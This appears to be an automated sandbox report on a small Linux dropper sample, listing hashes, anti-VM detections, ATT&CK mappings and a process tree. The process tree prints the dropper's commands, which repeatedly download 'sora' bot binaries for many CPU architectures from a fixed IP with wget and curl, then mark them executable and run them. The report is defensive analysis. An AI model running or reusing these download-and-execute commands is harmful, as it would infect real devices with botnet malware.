Overview

overview

7

Static

static

1

02ca1bec2d...kes118

ubuntu-18.04-amd64

7

02ca1bec2d...kes118

debian-9-armhf

7

02ca1bec2d...kes118

debian-9-mips

7

02ca1bec2d...kes118

debian-9-mipsel

7

Analysis

  • max time kernel
    8s
  • max time network
    9s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240226-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28-03-2024 10:06

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General

  • Target

    02ca1bec2de42845c35867af0dc72be3_JaffaCakes118

  • Size

    1KB

  • MD5

    02ca1bec2de42845c35867af0dc72be3

  • SHA1

    d2fc439476dd4ec34fce01257762a34b0aa6f3d5

  • SHA256

    848e8eadd6296084ce9231181c15d333d453ff0a95f4163477265211839d4f54

  • SHA512

    302e57020da9a74ee02c1f39c81aacb5a4385cedb7a0323ee3ba208d8e58fe5abdf83e2975bc8416ba684e164a512420b550f15569f3243f39a00d4cd99a3dc7

Score
7/10
antivm

Malware Config

Signatures

  • Executes dropped EXE 10 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 20 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/02ca1bec2de42845c35867af0dc72be3_JaffaCakes118
    /tmp/02ca1bec2de42845c35867af0dc72be3_JaffaCakes118
    1⤵
      PID:639
      • /usr/bin/wget
        wget http://188.127.235.211/bins/sora.x86
        2⤵
          PID:641
        • /usr/bin/curl
          curl -O http://188.127.235.211/bins/sora.x86
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:650
        • /bin/cat
          cat sora.x86
          2⤵
            PID:661
          • /bin/chmod
            chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
            2⤵
              PID:664
            • /tmp/robben
              ./robben Payload
              2⤵
              • Executes dropped EXE
              PID:665
            • /usr/bin/wget
              wget http://188.127.235.211/bins/sora.mips
              2⤵
                PID:668
              • /usr/bin/curl
                curl -O http://188.127.235.211/bins/sora.mips
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:674
              • /bin/cat
                cat sora.mips
                2⤵
                  PID:677
                • /bin/chmod
                  chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                  2⤵
                    PID:678
                  • /tmp/robben
                    ./robben Payload
                    2⤵
                    • Executes dropped EXE
                    PID:679
                  • /usr/bin/wget
                    wget http://188.127.235.211/bins/sora.mpsl
                    2⤵
                      PID:681
                    • /usr/bin/curl
                      curl -O http://188.127.235.211/bins/sora.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:682
                    • /bin/cat
                      cat sora.mpsl
                      2⤵
                        PID:683
                      • /bin/chmod
                        chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                        2⤵
                          PID:684
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          PID:685
                        • /usr/bin/wget
                          wget http://188.127.235.211/bins/sora.arm4
                          2⤵
                            PID:687
                          • /usr/bin/curl
                            curl -O http://188.127.235.211/bins/sora.arm4
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:688
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:693
                            • /bin/chmod
                              chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                              2⤵
                                PID:694
                              • /tmp/robben
                                ./robben Payload
                                2⤵
                                • Executes dropped EXE
                                PID:696
                              • /usr/bin/wget
                                wget http://188.127.235.211/bins/sora.arm5
                                2⤵
                                  PID:698
                                • /usr/bin/curl
                                  curl -O http://188.127.235.211/bins/sora.arm5
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:702
                                • /bin/cat
                                  cat sora.arm5
                                  2⤵
                                    PID:707
                                  • /bin/chmod
                                    chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                    2⤵
                                      PID:708
                                    • /tmp/robben
                                      ./robben Payload
                                      2⤵
                                      • Executes dropped EXE
                                      PID:709
                                    • /usr/bin/wget
                                      wget http://188.127.235.211/bins/sora.arm6
                                      2⤵
                                        PID:712
                                      • /usr/bin/curl
                                        curl -O http://188.127.235.211/bins/sora.arm6
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:716
                                      • /bin/cat
                                        cat sora.arm6
                                        2⤵
                                          PID:721
                                        • /bin/chmod
                                          chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                          2⤵
                                            PID:722
                                          • /tmp/robben
                                            ./robben Payload
                                            2⤵
                                            • Executes dropped EXE
                                            PID:724
                                          • /usr/bin/wget
                                            wget http://188.127.235.211/bins/sora.arm7
                                            2⤵
                                              PID:727
                                            • /usr/bin/curl
                                              curl -O http://188.127.235.211/bins/sora.arm7
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              PID:730
                                            • /bin/cat
                                              cat sora.arm7
                                              2⤵
                                                PID:735
                                              • /bin/chmod
                                                chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                                2⤵
                                                  PID:737
                                                • /tmp/robben
                                                  ./robben Payload
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:738
                                                • /usr/bin/wget
                                                  wget http://188.127.235.211/bins/sora.ppc
                                                  2⤵
                                                    PID:743
                                                  • /usr/bin/curl
                                                    curl -O http://188.127.235.211/bins/sora.ppc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    PID:749
                                                  • /bin/cat
                                                    cat sora.ppc
                                                    2⤵
                                                      PID:754
                                                    • /bin/chmod
                                                      chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                                      2⤵
                                                        PID:756
                                                      • /tmp/robben
                                                        ./robben Payload
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:759
                                                      • /usr/bin/wget
                                                        wget http://188.127.235.211/bins/sora.m68k
                                                        2⤵
                                                          PID:761
                                                        • /usr/bin/curl
                                                          curl -O http://188.127.235.211/bins/sora.m68k
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          PID:764
                                                        • /bin/cat
                                                          cat sora.m68k
                                                          2⤵
                                                            PID:765
                                                          • /bin/chmod
                                                            chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                                            2⤵
                                                              PID:766
                                                            • /tmp/robben
                                                              ./robben Payload
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:767
                                                            • /usr/bin/wget
                                                              wget http://188.127.235.211/bins/sora.sh4
                                                              2⤵
                                                                PID:769
                                                              • /usr/bin/curl
                                                                curl -O http://188.127.235.211/bins/sora.sh4
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                PID:770
                                                              • /bin/cat
                                                                cat sora.sh4
                                                                2⤵
                                                                  PID:771
                                                                • /bin/chmod
                                                                  chmod +x 02ca1bec2de42845c35867af0dc72be3_JaffaCakes118 robben systemd-private-99e08f791dec4ba2b75245122a43ebbe-systemd-timedated.service-bPorpe
                                                                  2⤵
                                                                    PID:772
                                                                  • /tmp/robben
                                                                    ./robben Payload
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:773

                                                                Network

                                                                MITRE ATT&CK Matrix ATT&CK v13

                                                                Initial Access

                                                                Execution

                                                                Persistence

                                                                Privilege Escalation

                                                                Defense Evasion

                                                                Virtualization/Sandbox Evasion

                                                                1
                                                                T1497

                                                                Credential Access

                                                                Discovery

                                                                Virtualization/Sandbox Evasion

                                                                1
                                                                T1497

                                                                Lateral Movement

                                                                Collection

                                                                Exfiltration

                                                                Command and Control

                                                                Impact

                                                                Resource Development

                                                                Reconnaissance

                                                                Replay Monitor

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                                                                Downloads

                                                                • memory/688-1-0xb675d000-0xb676e044-memory.dmp
                                                                  Download